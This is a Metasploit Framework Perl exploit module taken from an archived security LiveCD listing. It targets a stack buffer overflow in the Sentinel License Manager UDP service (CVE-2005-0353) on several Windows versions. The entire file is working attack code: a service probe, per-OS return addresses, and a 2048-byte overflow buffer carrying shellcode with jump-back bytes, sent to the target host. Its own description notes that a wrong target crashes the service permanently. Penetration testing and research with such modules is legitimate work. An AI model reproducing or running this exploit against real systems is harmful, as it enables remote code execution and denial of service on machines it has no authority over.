home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / sentinel_lm7_overflow.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  151 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::sentinel_lm7_overflow;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'     => 'SentinelLM UDP Buffer Overflow',
  20.     'Version'  => '$Revision: 1.4 $',
  21.     'Authors'  => [ 'H D Moore <hdm [at] metasploit.com>' ],
  22.     'Arch'     => [ 'x86' ],
  23.     'OS'       => [ 'win32', 'win2000', 'winxp', 'win2003' ],
  24.     'Priv'     => 1,
  25.     'AutoOpts' => { 'EXITFUNC' => 'process' },
  26.  
  27.     'UserOpts' =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 5093],
  31.       },
  32.  
  33.     'Payload' =>
  34.       {
  35.         'Space'     => 800,
  36.         'BadChars'  => "\x00\x20",
  37.         'Prepend'   => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500
  38.         'Keys'        => ['+ws2ord'],
  39.       },
  40.  
  41.     'Description'  => Pex::Text::Freeform(qq{
  42.         This module exploits a simple stack overflow in the Sentinel License
  43.     Manager. The SentinelLM service is installed with a wide selection of
  44.     products and seems particular popular with academic products. If the wrong
  45.     target value is selected, the service will crash and not restart.
  46. }),
  47.  
  48.     'Refs'    =>
  49.       [
  50.         ['BID',   '12742'],
  51.         ['CVE',   '2005-0353'],
  52.         ['OSVDB', '14605'],
  53.         ['MIL',   '58'],
  54.       ],
  55.  
  56.     'Targets' =>
  57.       [
  58.         ['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6',        0x77681799 ], # ws2help.dll
  59.         ['SentinelLM 7.2.0.0 Windows 2000 English',                0x75022ac4 ], # ws2help.dll
  60.         ['SentinelLM 7.2.0.0 Windows 2000 German',                0x74fa1887 ], # ws2help.dll
  61.         ['SentinelLM 7.2.0.0 Windows XP English SP0/SP1',        0x71aa32ad ], # ws2help.dll
  62.         ['SentinelLM 7.2.0.0 Windows 2003 English SP0',         0x7ffc0638 ], # peb
  63.       ],
  64.  
  65.     'Keys'    => ['sentinel'],
  66.  
  67.     'DisclosureDate' => 'Mar 07 2005',
  68.   };
  69.  
  70. sub new {
  71.     my $class = shift;
  72.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  73.     return($self);
  74. }
  75.  
  76. sub Check {
  77.     my $self = shift;
  78.     my $target_host = $self->GetVar('RHOST');
  79.     my $target_port = $self->GetVar('RPORT');
  80.  
  81.     $self->PrintLine("[*] Probing for the SentinelLM service....");
  82.  
  83.     my $s = Msf::Socket::Udp->new
  84.       (
  85.         'PeerAddr'  => $target_host,
  86.         'PeerPort'  => $target_port,
  87.       );
  88.  
  89.     if ($s->IsError) {
  90.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  91.         return;
  92.     }
  93.  
  94.     my $probe = "\x7a\x00\x00\x00\x00\x00";
  95.  
  96.     $s->Send($probe);
  97.     my $res = $s->Recv(-1, 5);
  98.  
  99.     if (ord($res) == 0x7a) {
  100.         $self->PrintLine("[*] Detected the SentinelLM service :-)");
  101.         return $self->CheckCode('Detected');
  102.     }
  103.  
  104.     $self->PrintLine("[*] No response to our discovery probe");
  105.     return $self->CheckCode('Safe');
  106. }
  107.  
  108. sub Exploit {
  109.     my $self = shift;
  110.     my $target_host = $self->GetVar('RHOST');
  111.     my $target_port = $self->GetVar('RPORT');
  112.     my $target_idx  = $self->GetVar('TARGET');
  113.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  114.     my $target = $self->Targets->[$target_idx];
  115.  
  116.     $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
  117.  
  118.     my $s = Msf::Socket::Udp->new
  119.       (
  120.         'PeerAddr'  => $target_host,
  121.         'PeerPort'  => $target_port,
  122.       );
  123.  
  124.     if ($s->IsError) {
  125.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  126.         return;
  127.     }
  128.  
  129.     my $bang = Pex::Text::EnglishText(2048);
  130.  
  131.     # Place our shellcode first thing in the string
  132.     substr($bang, 0, length($shellcode), $shellcode);
  133.  
  134.     # Return to a pop/pop/ret and keep rolling
  135.     substr($bang, 836, 4, pack('V', $target->[1]));
  136.  
  137.     # The pop/pop/ret takes us here, jump back five bytes
  138.     substr($bang, 832, 2, "\xeb\xf9");
  139.  
  140.     # Jump all the way back to our shellcode
  141.     substr($bang, 827, 5, "\xe9".pack('V', -829));
  142.  
  143.     $self->PrintLine("[*] Sending " .length($bang) . " bytes to remote host.");
  144.     $s->Send($bang);
  145.     $s->Recv(-1, 5);
  146.  
  147.     return;
  148. }
  149.  
  150. 1;
  151.